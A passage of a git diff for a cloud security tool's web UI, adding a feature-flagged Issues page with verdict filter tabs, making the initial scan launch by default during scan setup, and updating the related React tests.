+ navigationState.searchParams = new URLSearchParams();
+ render( );
+
+ expect(screen.getByRole("tab", { name: "All, 2 issues" })).toHaveAttribute(
+ "aria-selected",
+ "true",
+ );
+ expect(
+ screen.getByRole("tab", { name: "Exploitable, 2 issues" }),
+ ).toHaveAttribute("aria-selected", "false");
+ expect(screen.getAllByRole("tab")).toHaveLength(6);
+ expect(
+ screen.getByText("9 failed findings folded into 2 issues"),
+ ).toBeInTheDocument();
+ });
+
+ it("selects the verdict tab and resets the page, keeping other params", async () => {
+ const user = userEvent.setup();
+ navigationState.searchParams = new URLSearchParams(
+ "page=3&pageSize=10&filter[verdict]=likely",
+ );
+ render( );
+
+ expect(
+ screen.getByRole("tab", { name: "Likely, 0 issues" }),
+ ).toHaveAttribute("aria-selected", "true");
+ await user.click(
+ screen.getByRole("tab", { name: "Exploitable, 2 issues" }),
+ );
+
+ const params = lastPushedParams();
+ expect(params.get("page")).toBe("1");
+ expect(params.get("pageSize")).toBe("10");
+ expect(params.get("filter[verdict]")).toBe("exploitable");
+ });
+
+ it("marks the tabs a combined filter covers and lets All replace it", async () => {
+ const user = userEvent.setup();
+ navigationState.searchParams = new URLSearchParams(
+ "filter[verdict__in]=exploitable,likely",
+ );
+ render( );
+
+ // No single tab owns the combined filter, so none is selected...
+ expect(
+ screen
+ .getAllByRole("tab")
+ .every((tab) => tab.getAttribute("aria-selected") === "false"),
+ ).toBe(true);
+ // ...but the covered tabs are marked, and there is no chip for it.
+ expect(
+ screen.getByRole("tab", { name: "Exploitable, 2 issues" }),
+ ).toHaveAttribute("data-highlighted", "true");
+ expect(
+ screen.getByRole("tab", { name: "Likely, 0 issues" }),
+ ).toHaveAttribute("data-highlighted", "true");
+ expect(
+ screen.getByRole("tab", { name: "Conditional, 0 issues" }),
+ ).not.toHaveAttribute("data-highlighted");
+ expect(screen.queryByRole("region", { name: "Active filters" })).toBeNull();
+ expect(screen.getByRole("tablist")).toHaveAccessibleDescription(
+ "Showing Exploitable and Likely issues",
+ );
+
+ await user.click(screen.getByRole("tab", { name: "All, 2 issues" }));
+
+ expect(navigationState.push).toHaveBeenLastCalledWith("/issues", {
+ scroll: false,
+ });
+ });
+
+ it("shows no chip strip for a verdict picked from the tabs", () => {
+ navigationState.searchParams = new URLSearchParams(
+ "filter[verdict]=likely",
+ );
+ render( );
+
+ expect(screen.queryByRole("region", { name: "Active filters" })).toBeNull();
+ });
+
+ it("shows the pattern filter and lets the user remove it", async () => {
+ // Given
+ const user = userEvent.setup();
+ navigationState.searchParams = new URLSearchParams(
+ "page=3&filter[pattern]=aws_public_bucket&filter[provider_id__in]=provider-1",
+ );
+ render( );
+ // When
+ await user.click(
+ screen.getByRole("button", {
+ name: "Remove Pattern filter: aws_public_bucket",
+ }),
+ );
+ // Then
+ const target = lastPushedParams();
+ expect(target.has("filter[pattern]")).toBe(false);
+ expect(target.get("filter[provider_id__in]")).toBe("provider-1");
+ expect(target.get("page")).toBe("1");
+ });
+});
diff --git a/ui/components/issues/verdict-filter.tsx b/ui/components/issues/verdict-filter.tsx
new file mode 100644
index 0000000000..e62eaa60fd
--- /dev/null
+++ b/ui/components/issues/verdict-filter.tsx
@@ -0,0 +1,164 @@
+"use client";
+
+import { useSearchParams } from "next/navigation";
+import { ComponentProps, useId } from "react";
+
+import { ClearFiltersButton } from "@/components/filters/clear-filters-button";
+import { FilterSummaryStrip } from "@/components/filters/filter-summary-strip";
+import { Badge, Tabs, TabsList, TabsTrigger } from "@/components/shadcn";
+import { useUrlFilters } from "@/hooks/use-url-filters";
+import { VERDICT_TONE, VERDICTS, VerdictTone } from "@/lib/issues/verdicts";
+import { cn } from "@/lib/utils";
+import type { Verdict } from "@/types/issues";
+
+interface VerdictSummary {
+ counts: Record;
+ /** Issues in scope, whatever their verdict. */
+ total: number;
+ /** Failed findings those issues fold. */
+ findings: number;
+}
+
+const ALL_TAB = "all";
+
+/** The active tab takes the verdict's colour instead of the default accent. */
+const TONE_UNDERLINE: Record = {
+ [VERDICT_TONE.fail]: "after:bg-bg-fail",
+ [VERDICT_TONE.warning]: "after:bg-bg-data-medium",
+ [VERDICT_TONE.pass]: "after:bg-bg-pass",
+ [VERDICT_TONE.neutral]: "after:bg-bg-data-muted",
+};
+
+const TONE_BADGE: Record["variant"]> =
+ {
+ [VERDICT_TONE.fail]: "error",
+ [VERDICT_TONE.warning]: "warning",
+ [VERDICT_TONE.pass]: "success",
+ [VERDICT_TONE.neutral]: "tag",
+ };
+
+/**
+ * A combined verdict filter (the overview's "exploitable or likely" link)
+ * selects no single tab, so the tabs it covers are marked by hand.
+ */
+const HIGHLIGHT = "text-slate-900 after:scale-x-100 dark:text-white";
+
+/** Filters the issue list understands but no control on this page sets. */
+const EXTRA_FILTER_LABELS = {
+ "filter[pattern]": "Pattern",
+ "filter[cloud]": "Cloud",
+ "filter[severity]": "Severity",
+ "filter[provider_type]": "Provider type",
+ "filter[provider_alias]": "Account",
+} as const;
+
+export function VerdictFilter({ summary }: { summary?: VerdictSummary }) {
+ const searchParams = useSearchParams();
+ const { clearFilter, navigateWithParams } = useUrlFilters();
+ const active = searchParams.get("filter[verdict]");
+ const combined = searchParams.get("filter[verdict__in]")?.split(",") ?? [];
+ const value = combined.length ? "" : (active ?? ALL_TAB);
+ // No tab is selected under a combined filter, so the tab list says what
+ // the list is showing.
+ const combinedLabels = combined.map(
+ (id) => VERDICTS.find((verdict) => verdict.id === id)?.label ?? id,
+ );
+ const descriptionId = useId();
+
+ const handleChange = (next: string) => {
+ navigateWithParams((params) => {
+ params.delete("filter[verdict__in]");
+ if (next === ALL_TAB) params.delete("filter[verdict]");
+ else params.set("filter[verdict]", next);
+ });
+ };
+
+ const tabs = [
+ {
+ id: ALL_TAB,
+ label: "All",
+ count: summary?.total,
+ underline: "",
+ badge: "tag" as const,
+ highlighted: false,
+ },
+ ...VERDICTS.map(({ id, label, tone }) => ({
+ id,
+ label,
+ count: summary?.counts[id],
+ underline: TONE_UNDERLINE[tone],
+ badge: TONE_BADGE[tone],
+ highlighted: combined.includes(id),
+ })),
+ ];
+ const chips = Object.entries(EXTRA_FILTER_LABELS).flatMap(([key, label]) => {
+ const chipValue = searchParams.get(key);
+ return chipValue ? [{ key, label, value: chipValue }] : [];
+ });
+
+ return (
+
+
+
+
+ {combinedLabels.length ? (
+
+ Showing {combinedLabels.join(" and ")} issues
+
+ ) : null}
+
+ {tabs.map((tab) => (
+
+ {tab.count.toLocaleString()}
+
+ )
+ }
+ >
+ {tab.label}
+
+ ))}
+
+
+ {summary ? (
+ // The fold: how much noise the issue count removed.
+
+ {summary.findings.toLocaleString()} failed findings folded into{" "}
+ {summary.total.toLocaleString()}{" "}
+ {summary.total === 1 ? "issue" : "issues"}
+
+ ) : null}
+
+
+ {/* Only filters that arrived by link get a chip; the tabs and the scope
+ selectors are their own controls, so they never need one. */}
+ {chips.length ? (
+
clearFilter(key)}
+ trailingContent={ }
+ />
+ ) : null}
+
+ );
+}
diff --git a/ui/components/layout/app-sidebar/app-sidebar-content.test.tsx b/ui/components/layout/app-sidebar/app-sidebar-content.test.tsx
index 055d173ae3..d6e9773121 100644
--- a/ui/components/layout/app-sidebar/app-sidebar-content.test.tsx
+++ b/ui/components/layout/app-sidebar/app-sidebar-content.test.tsx
@@ -10,12 +10,14 @@ import { useAppSidebarMode } from "./app-sidebar-mode-store";
import { APP_SIDEBAR_MODE } from "./types";
const {
+ issuesFlagValue,
openCloudUpgradeMock,
openLaunchScanModalMock,
pathnameValue,
permissionsValue,
pushMock,
} = vi.hoisted(() => ({
+ issuesFlagValue: { current: false },
openCloudUpgradeMock: vi.fn(),
openLaunchScanModalMock: vi.fn(),
pathnameValue: { current: "/findings" },
@@ -36,6 +38,11 @@ vi.mock("@/hooks/use-runtime-config", () => ({
useRuntimeConfig: () => ({ apiDocsUrl: "https://local.example/docs" }),
}));
+vi.mock("@/lib/feature-flags", async (importOriginal) => ({
+ ...(await importOriginal()),
+ useFeatureFlag: () => issuesFlagValue.current,
+}));
+
vi.mock("@/store", () => ({
useScansStore: (
selector: (state: {
@@ -57,6 +64,7 @@ describe("AppSidebarContent", () => {
beforeEach(() => {
pathnameValue.current = "/findings";
permissionsValue.current = { manage_providers: true };
+ issuesFlagValue.current = false;
pushMock.mockClear();
openCloudUpgradeMock.mockClear();
openLaunchScanModalMock.mockClear();
@@ -113,6 +121,32 @@ describe("AppSidebarContent", () => {
);
});
+ it("shows Issues navigation in Cloud once the feature flag is on", () => {
+ // Given
+ vi.stubEnv("UI_CLOUD_ENABLED", "true");
+ issuesFlagValue.current = true;
+
+ // When
+ render( );
+
+ // Then
+ expect(screen.getByRole("link", { name: /Issues/ })).toHaveAttribute(
+ "href",
+ "/issues",
+ );
+ });
+
+ it("hides Issues navigation in Cloud while the feature flag is off", () => {
+ // Given / When
+ vi.stubEnv("UI_CLOUD_ENABLED", "true");
+ render( );
+
+ // Then
+ expect(
+ screen.queryByRole("link", { name: /Issues/ }),
+ ).not.toBeInTheDocument();
+ });
+
it("hides Registry navigation without a server eligibility decision", () => {
// Given / When
vi.stubEnv("UI_CLOUD_ENABLED", "true");
diff --git a/ui/components/layout/app-sidebar/app-sidebar-content.tsx b/ui/components/layout/app-sidebar/app-sidebar-content.tsx
index e98e0cb9b3..046e54bc64 100644
--- a/ui/components/layout/app-sidebar/app-sidebar-content.tsx
+++ b/ui/components/layout/app-sidebar/app-sidebar-content.tsx
@@ -7,6 +7,7 @@ import { LighthouseV2SidebarChat } from "@/app/(prowler)/lighthouse/_components/
import { ProwlerBrand } from "@/components/icons";
import { useAuth } from "@/hooks";
import { useRuntimeConfig } from "@/hooks/use-runtime-config";
+import { FEATURE_FLAG, useFeatureFlag } from "@/lib/feature-flags";
import { isCloud } from "@/lib/shared/env";
import { useUIStore } from "@/store/ui/store";
@@ -30,11 +31,13 @@ export function AppSidebarContent({ onSelect }: AppSidebarContentProps) {
const { apiDocsUrl, cloudBillingEnabled } = useRuntimeConfig();
const mode = useHydratedAppSidebarMode();
const isCloudEnvironment = isCloud();
+ const issuesEnabled = useFeatureFlag(FEATURE_FLAG.ISSUES);
const sections = getNavigationConfig({
pathname,
apiDocsUrl,
cloudBillingEnabled,
registryEligible,
+ issuesEnabled,
permissions,
});
const showChat = isCloudEnvironment && mode === APP_SIDEBAR_MODE.CHAT;
diff --git a/ui/components/layout/app-sidebar/navigation-config.test.ts b/ui/components/layout/app-sidebar/navigation-config.test.ts
index d79144e5d0..627929d8cb 100644
--- a/ui/components/layout/app-sidebar/navigation-config.test.ts
+++ b/ui/components/layout/app-sidebar/navigation-config.test.ts
@@ -106,7 +106,40 @@ describe("getNavigationConfig", () => {
);
});
- it("uses Cloud destinations and current New badges", () => {
+ it("hides Issues in Cloud until the feature flag resolves on", () => {
+ // Given
+ vi.stubEnv("UI_CLOUD_ENABLED", "true");
+
+ // When
+ const labels = getNavigationConfig({
+ pathname: "/",
+ apiDocsUrl: null,
+ })
+ .flatMap((section) => section.items)
+ .map((item) => item.label);
+
+ // Then
+ expect(labels).not.toContain("Issues");
+ });
+
+ it("never shows Issues in Local Server, even with the flag on", () => {
+ // Given
+ vi.stubEnv("UI_CLOUD_ENABLED", "false");
+
+ // When
+ const labels = getNavigationConfig({
+ pathname: "/",
+ apiDocsUrl: null,
+ issuesEnabled: true,
+ })
+ .flatMap((section) => section.items)
+ .map((item) => item.label);
+
+ // Then
+ expect(labels).not.toContain("Issues");
+ });
+
+ it("uses Cloud destinations and keeps Configuration children unbadged", () => {
// Given
vi.stubEnv("UI_CLOUD_ENABLED", "true");
@@ -114,6 +147,7 @@ describe("getNavigationConfig", () => {
const sections = getNavigationConfig({
pathname: "/scans/config",
apiDocsUrl: "https://ignored.example/docs",
+ issuesEnabled: true,
});
const items = sections.flatMap((section) => section.items);
const configuration = items.find((item) => item.label === "Configuration");
@@ -124,17 +158,22 @@ describe("getNavigationConfig", () => {
// Then
expect(sections[0]?.items.map((item) => item.label)).toEqual(["Overview"]);
+ expect(items.find((item) => item.label === "Issues")).toMatchObject({
+ href: "/issues",
+ });
expect(configuration.children).not.toEqual(
expect.arrayContaining([
expect.objectContaining({ label: "CLI Import" }),
]),
);
- expect(
- configuration.children.find((item) => item.label === "Alerts"),
- ).toEqual(expect.objectContaining({ highlight: true }));
- expect(
- configuration.children.find((item) => item.label === "Scans"),
- ).toEqual(expect.objectContaining({ active: true, highlight: true }));
+ const alerts = configuration.children.find(
+ (item) => item.label === "Alerts",
+ );
+ const scans = configuration.children.find((item) => item.label === "Scans");
+ expect(alerts).toMatchObject({ href: "/alerts" });
+ expect(alerts).not.toHaveProperty("highlight");
+ expect(scans).toMatchObject({ href: "/scans/config", active: true });
+ expect(scans).not.toHaveProperty("highlight");
expect(items.find((item) => item.label === "Attack Paths")).not.toEqual(
expect.objectContaining({ highlight: true }),
);
diff --git a/ui/components/layout/app-sidebar/navigation-config.ts b/ui/components/layout/app-sidebar/navigation-config.ts
index aa0904d3b9..fe4a114f60 100644
--- a/ui/components/layout/app-sidebar/navigation-config.ts
+++ b/ui/components/layout/app-sidebar/navigation-config.ts
@@ -1,6 +1,7 @@
import {
Code,
CreditCard,
+ Crosshair,
FileText,
GitBranch,
LayoutGrid,
@@ -34,6 +35,8 @@ interface NavigationConfigOptions {
apiDocsUrl?: string | null;
cloudBillingEnabled?: boolean;
registryEligible?: boolean;
+ // PostHog FEATURE_FLAG.ISSUES, resolved by the caller; Cloud only.
+ issuesEnabled?: boolean;
permissions?: RolePermissionAttributes;
}
@@ -65,7 +68,6 @@ function getCloudFeature({
href,
label,
active,
- highlight: true,
};
}
@@ -111,6 +113,7 @@ export function getNavigationConfig({
apiDocsUrl = null,
cloudBillingEnabled = false,
registryEligible = false,
+ issuesEnabled = false,
permissions,
}: NavigationConfigOptions): NavigationSection[] {
const isCloudEnvironment = isCloud();
@@ -160,6 +163,18 @@ export function getNavigationConfig({
icon: Tag,
active: isRouteActive(pathname, "/findings"),
},
+ ...(isCloudEnvironment && issuesEnabled
+ ? [
+ {
+ kind: NAVIGATION_ITEM_KIND.LINK,
+ href: "/issues",
+ label: "Issues",
+ icon: Crosshair,
+ active: isRouteActive(pathname, "/issues"),
+ highlight: true,
+ } as const,
+ ]
+ : []),
{
kind: NAVIGATION_ITEM_KIND.LINK,
href: "/attack-paths",
diff --git a/ui/components/layout/nav-bar/navbar-client.test.tsx b/ui/components/layout/nav-bar/navbar-client.test.tsx
index 8a9cea8d02..73a8691d69 100644
--- a/ui/components/layout/nav-bar/navbar-client.test.tsx
+++ b/ui/components/layout/nav-bar/navbar-client.test.tsx
@@ -103,7 +103,7 @@ describe("NavbarClient", () => {
expect(
screen.getByRole("heading", { name: "Findings" }),
).toBeInTheDocument();
- expect(screen.getAllByText("See how it works")).not.toHaveLength(0);
+ expect(await screen.findAllByText("See how it works")).not.toHaveLength(0);
expect(
screen.getByRole("button", {
name: /start product tour: explore your findings/i,
diff --git a/ui/components/providers/organizations/org-launch-scan.test.tsx b/ui/components/providers/organizations/org-launch-scan.test.tsx
index 0f84bd0c31..910d67d2d7 100644
--- a/ui/components/providers/organizations/org-launch-scan.test.tsx
+++ b/ui/components/providers/organizations/org-launch-scan.test.tsx
@@ -1,4 +1,5 @@
import { act, render, screen, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
import type { ComponentProps } from "react";
import { beforeEach, describe, expect, it, vi } from "vitest";
@@ -98,7 +99,7 @@ describe("OrgLaunchScan", () => {
});
describe("when capability is ADVANCED", () => {
- it("should save schedules through the bulk endpoint", async () => {
+ it("should save schedules through the bulk endpoint and launch the initial scans by default", async () => {
// Given
const onFooterChange = vi.fn();
@@ -113,6 +114,14 @@ describe("OrgLaunchScan", () => {
// When
await screen.findByText("Scan Schedule");
+ expect(
+ screen.getByRole("checkbox", { name: /launch an initial scan now/i }),
+ ).toBeChecked();
+ await waitFor(() =>
+ expect(lastFooterConfig(onFooterChange)?.actionLabel).toBe(
+ "Save and launch scan",
+ ),
+ );
await act(async () => {
lastFooterConfig(onFooterChange)?.onAction?.();
});
@@ -130,8 +139,44 @@ describe("OrgLaunchScan", () => {
scan_timezone: "Europe/Madrid",
}),
);
- expect(launchOrganizationScansMock).not.toHaveBeenCalled();
+ expect(launchOrganizationScansMock).toHaveBeenCalledWith("org-1");
expect(pushMock).toHaveBeenCalledWith("/providers");
+ expect(
+ toastMock.mock.calls[0]?.[0].action.props.children.props.href,
+ ).toBe(`/scans?tab=${SCAN_JOBS_TAB.ACTIVE}`);
+ });
+
+ it("should save only the schedules when the initial scan is unticked", async () => {
+ // Given
+ const user = userEvent.setup();
+ const onFooterChange = vi.fn();
+
+ render(
+ ,
+ );
+
+ // When
+ await screen.findByText("Scan Schedule");
+ await user.click(
+ screen.getByRole("checkbox", { name: /launch an initial scan now/i }),
+ );
+ await waitFor(() =>
+ expect(lastFooterConfig(onFooterChange)?.actionLabel).toBe("Save"),
+ );
+ await act(async () => {
+ lastFooterConfig(onFooterChange)?.onAction?.();
+ });
+
+ // Then
+ await waitFor(() =>
+ expect(updateSchedulesBulkMock).toHaveBeenCalledTimes(1),
+ );
+ expect(launchOrganizationScansMock).not.toHaveBeenCalled();
expect(
toastMock.mock.calls[0]?.[0].action.props.children.props.href,
).toBe(`/scans?tab=${SCAN_JOBS_TAB.SCHEDULED}`);
diff --git a/ui/components/providers/organizations/org-launch-scan.tsx b/ui/components/providers/organizations/org-launch-scan.tsx
index 06fa2435d5..cb4c168173 100644
--- a/ui/components/providers/organizations/org-launch-scan.tsx
+++ b/ui/components/providers/organizations/org-launch-scan.tsx
@@ -32,7 +32,7 @@ import {
buildScheduleUpdatePayload,
describeSchedulesBulkFailures,
getScanScheduleCapability,
- getScheduleFormDefaults,
+ getSetupScheduleFormDefaults,
parseSchedulesBulkResult,
scheduleFormSchema,
} from "@/lib/schedules";
@@ -121,7 +121,7 @@ export function OrgLaunchScan({
);
const form = useForm({
resolver: zodResolver(scheduleFormSchema),
- defaultValues: getScheduleFormDefaults(),
+ defaultValues: getSetupScheduleFormDefaults(),
});
const launchInitialScan = useWatch({
control: form.control,
diff --git a/ui/components/providers/radio-group-provider.integration.test.tsx b/ui/components/providers/radio-group-provider.integration.test.tsx
index 072d5ffd88..e7a2d7f4e3 100644
--- a/ui/components/providers/radio-group-provider.integration.test.tsx
+++ b/ui/components/providers/radio-group-provider.integration.test.tsx
@@ -8,7 +8,8 @@ import type { AddProviderFormValues } from "@/types/formSchemas";
import { RadioGroupProvider } from "./radio-group-provider";
-const LOGO_URL = "https://media.registry.example.com/providers/vcf/logo.png";
+// Keep even speculative browser requests on loopback; MSW serves the image.
+const LOGO_URL = "https://127.0.0.1/providers/vcf/logo.png";
function Selector() {
const form = useForm();
@@ -52,6 +53,9 @@ describe("provider selector logos", () => {
await expect
.poll(() => registry.querySelector("img")?.getAttribute("src"))
.toBe(LOGO_URL);
+ await expect
+ .poll(() => registry.querySelector("img")?.naturalWidth)
+ .toBe(1);
// Then
expect(logoBox(registry)).toEqual(logoBox(builtIn));
diff --git a/ui/components/providers/table/registry-row-logo.integration.test.tsx b/ui/components/providers/table/registry-row-logo.integration.test.tsx
index 0831b144d5..6ce5109467 100644
--- a/ui/components/providers/table/registry-row-logo.integration.test.tsx
+++ b/ui/components/providers/table/registry-row-logo.integration.test.tsx
@@ -6,7 +6,8 @@ import { render } from "@/__tests__/render-browser";
import { RegistryLogosContext, RegistryRowLogo } from "./registry-row-logo";
-const LOGO_URL = "https://media.registry.example.com/providers/vcf/logo.png";
+// Keep even speculative browser requests on loopback; MSW serves the image.
+const LOGO_URL = "https://127.0.0.1/providers/vcf/logo.png";
describe("registry row logo", () => {
it("shows the generic glyph until the streamed logos arrive, then the registry logo", async () => {
@@ -32,5 +33,6 @@ describe("registry row logo", () => {
// Then
await expect.poll(() => logoImage()?.getAttribute("src")).toBe(LOGO_URL);
+ await expect.poll(() => logoImage()?.naturalWidth).toBe(1);
});
});
diff --git a/ui/components/providers/wizard/steps/launch-step.test.tsx b/ui/components/providers/wizard/steps/launch-step.test.tsx
index 11bd3bbba6..3d24500af5 100644
--- a/ui/components/providers/wizard/steps/launch-step.test.tsx
+++ b/ui/components/providers/wizard/steps/launch-step.test.tsx
@@ -104,11 +104,16 @@ describe("LaunchStep", () => {
).toBeEnabled();
expect(screen.getByRole("combobox", { name: /repeats/i })).toBeDisabled();
+ expect(
+ screen.getByRole("checkbox", { name: /launch an initial scan now/i }),
+ ).toBeChecked();
await waitFor(() => expect(onFooterChange).toHaveBeenCalled());
- expect(lastFooterConfig(onFooterChange)?.actionLabel).toBe("Save");
+ expect(lastFooterConfig(onFooterChange)?.actionLabel).toBe(
+ "Save and launch scan",
+ );
});
- it("saves a legacy daily schedule by default", async () => {
+ it("saves a legacy daily schedule and launches the initial scan by default", async () => {
// Given
const onClose = vi.fn();
const onFooterChange = vi.fn();
@@ -132,9 +137,13 @@ describe("LaunchStep", () => {
await waitFor(() => expect(scheduleDailyMock).toHaveBeenCalledTimes(1));
const sentFormData = scheduleDailyMock.mock.calls[0]?.[0] as FormData;
expect(sentFormData.get("providerId")).toBe("provider-1");
- expect(scanOnDemandMock).not.toHaveBeenCalled();
+ expect(scanOnDemandMock).toHaveBeenCalledTimes(1);
expect(updateScheduleMock).not.toHaveBeenCalled();
expect(onClose).toHaveBeenCalledTimes(1);
+ const toastPayload = toastMock.mock.calls[0]?.[0];
+ expect(toastPayload.action.props.children.props.href).toBe(
+ `/scans?tab=${SCAN_JOBS_TAB.ACTIVE}`,
+ );
});
it("launches only an on-demand scan when run now is selected", async () => {
@@ -176,9 +185,10 @@ describe("LaunchStep", () => {
beforeEach(() => {
vi.stubEnv("UI_CLOUD_ENABLED", "true");
updateScheduleMock.mockResolvedValue({ data: { id: "provider-1" } });
+ scanOnDemandMock.mockResolvedValue({ data: { id: "scan-1" } });
});
- it("defaults to schedule mode and saves through the new schedule API", async () => {
+ it("defaults to schedule mode with the initial scan ticked, saves the schedule and launches the scan", async () => {
// Given
const onClose = vi.fn();
const onFooterChange = vi.fn();
@@ -193,14 +203,20 @@ describe("LaunchStep", () => {
/>,
);
- // Then advanced cadence selector is enabled
+ // Then advanced cadence selector is enabled and the initial scan is on
expect(
screen.getByRole("radio", { name: "On a schedule" }),
).toBeChecked();
expect(
screen.getByRole("combobox", { name: /repeats/i }),
).not.toBeDisabled();
+ expect(
+ screen.getByRole("checkbox", { name: /launch an initial scan now/i }),
+ ).toBeChecked();
await waitFor(() => expect(onFooterChange).toHaveBeenCalled());
+ expect(lastFooterConfig(onFooterChange)?.actionLabel).toBe(
+ "Save and launch scan",
+ );
// When
await act(async () => {
@@ -221,20 +237,19 @@ describe("LaunchStep", () => {
}),
);
expect(scheduleDailyMock).not.toHaveBeenCalled();
- expect(scanOnDemandMock).not.toHaveBeenCalled();
+ expect(scanOnDemandMock).toHaveBeenCalledTimes(1);
expect(onClose).toHaveBeenCalledTimes(1);
const toastPayload = toastMock.mock.calls[0]?.[0];
expect(toastPayload.action.props.children.props.href).toBe(
- `/scans?tab=${SCAN_JOBS_TAB.SCHEDULED}`,
+ `/scans?tab=${SCAN_JOBS_TAB.ACTIVE}`,
);
});
- it("also launches an on-demand scan when the checkbox is checked", async () => {
+ it("saves only the schedule when the initial scan is unticked", async () => {
// Given
const user = userEvent.setup();
const onFooterChange = vi.fn();
seedConnectedProvider();
- scanOnDemandMock.mockResolvedValue({ data: { id: "scan-1" } });
render(
{
await user.click(
screen.getByRole("checkbox", { name: /launch an initial scan now/i }),
);
+ await waitFor(() =>
+ expect(lastFooterConfig(onFooterChange)?.actionLabel).toBe("Save"),
+ );
await act(async () => {
lastFooterConfig(onFooterChange)?.onAction?.();
});
// Then
await waitFor(() => expect(updateScheduleMock).toHaveBeenCalledTimes(1));
- expect(scanOnDemandMock).toHaveBeenCalledTimes(1);
+ expect(scanOnDemandMock).not.toHaveBeenCalled();
expect(scheduleDailyMock).not.toHaveBeenCalled();
const toastPayload = toastMock.mock.calls[0]?.[0];
expect(toastPayload.action.props.children.props.href).toBe(
- `/scans?tab=${SCAN_JOBS_TAB.ACTIVE}`,
+ `/scans?tab=${SCAN_JOBS_TAB.SCHEDULED}`,
);
});
@@ -304,9 +322,8 @@ describe("LaunchStep", () => {
expect(onClose).toHaveBeenCalledTimes(1);
});
- it("does not launch an initial scan when the schedule save fails", async () => {
+ it("does not launch the initial scan when the schedule save fails", async () => {
// Given
- const user = userEvent.setup();
const onFooterChange = vi.fn();
seedConnectedProvider();
updateScheduleMock.mockResolvedValue({ error: "Schedule failed" });
@@ -322,9 +339,6 @@ describe("LaunchStep", () => {
await waitFor(() => expect(onFooterChange).toHaveBeenCalled());
// When
- await user.click(
- screen.getByRole("checkbox", { name: /launch an initial scan now/i }),
- );
await act(async () => {
lastFooterConfig(onFooterChange)?.onAction?.();
});
diff --git a/ui/components/providers/wizard/steps/launch-step.tsx b/ui/components/providers/wizard/steps/launch-step.tsx
index 0474821a71..862f7ec302 100644
--- a/ui/components/providers/wizard/steps/launch-step.tsx
+++ b/ui/components/providers/wizard/steps/launch-step.tsx
@@ -28,7 +28,7 @@ import {
} from "@/lib/action-errors";
import {
getScanScheduleCapability,
- getScheduleFormDefaults,
+ getSetupScheduleFormDefaults,
scheduleFormSchema,
} from "@/lib/schedules";
import { isCloud } from "@/lib/shared/env";
@@ -99,7 +99,7 @@ export function LaunchStep({
);
const form = useForm({
resolver: zodResolver(scheduleFormSchema),
- defaultValues: getScheduleFormDefaults(),
+ defaultValues: getSetupScheduleFormDefaults(),
});
const isScheduleMode = canUseScheduleMode && mode === LAUNCH_MODE.SCHEDULE;
diff --git a/ui/components/resources/table/resource-detail-content.tsx b/ui/components/resources/table/resource-detail-content.tsx
index f686c7c628..2285ef4787 100644
--- a/ui/components/resources/table/resource-detail-content.tsx
+++ b/ui/components/resources/table/resource-detail-content.tsx
@@ -33,6 +33,7 @@ import { DataTable } from "@/components/shadcn/table";
import { EventsTimeline } from "@/components/shared/events-timeline/events-timeline";
import { ExternalResourceLink } from "@/components/shared/external-resource-link";
import { ResourceMetadataPanel } from "@/components/shared/resource-metadata-panel";
+import { useFindingDetails } from "@/hooks/use-finding-details";
import { getGroupLabel } from "@/lib/categories";
import { shouldRefreshAfterTriageUpdate } from "@/lib/finding-triage";
import { getRegionFlag } from "@/lib/region-flags";
@@ -41,7 +42,6 @@ import type { UpdateFindingTriageInput } from "@/types/findings-triage";
import type { ResourceFinding } from "@/types/resources";
import { getResourceFindingsColumns } from "./resource-findings-columns";
-import { useFindingDetails } from "./use-finding-details";
import { useResourceDrawerBootstrap } from "./use-resource-drawer-bootstrap";
const renderValue = (value: string | null | undefined) => {
diff --git a/ui/components/shadcn/badge/badge.tsx b/ui/components/shadcn/badge/badge.tsx
index b602e8ec8e..58644a4163 100644
--- a/ui/components/shadcn/badge/badge.tsx
+++ b/ui/components/shadcn/badge/badge.tsx
@@ -24,6 +24,8 @@ const badgeVariants = cva(
"border-bg-warning/30 bg-bg-warning-secondary/20 text-text-warning-primary",
error:
"border-transparent bg-bg-fail-secondary text-text-error-primary",
+ "error-outline":
+ "border-border-error bg-bg-fail-secondary text-text-error-primary",
info: "border-transparent bg-bg-data-info/15 text-bg-data-info",
cloud:
"bg-feature-cloud h-6 rounded-lg border-0 px-2 py-0 text-xs leading-5 font-bold text-black",
diff --git a/ui/components/shadcn/table/data-table-pagination.test.tsx b/ui/components/shadcn/table/data-table-pagination.test.tsx
index 88e606cdf1..c5e8417cb8 100644
--- a/ui/components/shadcn/table/data-table-pagination.test.tsx
+++ b/ui/components/shadcn/table/data-table-pagination.test.tsx
@@ -1,13 +1,17 @@
import { render, screen } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
import { beforeEach, describe, expect, it, vi } from "vitest";
import type { MetaDataProps } from "@/types";
-const mocks = vi.hoisted(() => ({ searchParams: new URLSearchParams() }));
+const mocks = vi.hoisted(() => ({
+ searchParams: new URLSearchParams(),
+ push: vi.fn(),
+}));
vi.mock("next/navigation", () => ({
usePathname: () => "/providers",
- useRouter: () => ({ push: vi.fn() }),
+ useRouter: () => ({ push: mocks.push }),
useSearchParams: () => mocks.searchParams,
}));
@@ -176,4 +180,54 @@ describe("DataTablePagination", () => {
"20",
);
});
+
+ describe("when the table is locked to a preview", () => {
+ const lockedMetadata: MetaDataProps = {
+ pagination: { page: 1, pages: 2, count: 25, itemsPerPage: [10, 20, 50] },
+ version: "latest",
+ };
+
+ it("counts pages by the visible rows and routes navigation to the lock handler", async () => {
+ // Given
+ const user = userEvent.setup();
+ const onLockedInteraction = vi.fn();
+ render(
+ ,
+ );
+
+ // When
+ await user.click(screen.getByLabelText("Go to next page"));
+ await user.click(screen.getByLabelText("Go to last page"));
+
+ // Then
+ expect(screen.getByText("Page 1 of 3")).toBeInTheDocument();
+ expect(onLockedInteraction).toHaveBeenCalledTimes(2);
+ expect(mocks.push).not.toHaveBeenCalled();
+ expect(screen.getByLabelText("Go to next page")).not.toHaveAttribute(
+ "href",
+ );
+ });
+
+ it("opens the lock handler instead of the rows-per-page menu", async () => {
+ // Given
+ const user = userEvent.setup();
+ const onLockedInteraction = vi.fn();
+ render(
+ ,
+ );
+
+ // When
+ await user.click(screen.getByRole("button", { name: "10" }));
+
+ // Then
+ expect(onLockedInteraction).toHaveBeenCalledTimes(1);
+ expect(screen.queryByTestId("page-size-select")).not.toBeInTheDocument();
+ });
+ });
});
diff --git a/ui/components/shadcn/table/data-table-pagination.tsx b/ui/components/shadcn/table/data-table-pagination.tsx
index 9e19395a0e..0d6aa77923 100644
--- a/ui/components/shadcn/table/data-table-pagination.tsx
+++ b/ui/components/shadcn/table/data-table-pagination.tsx
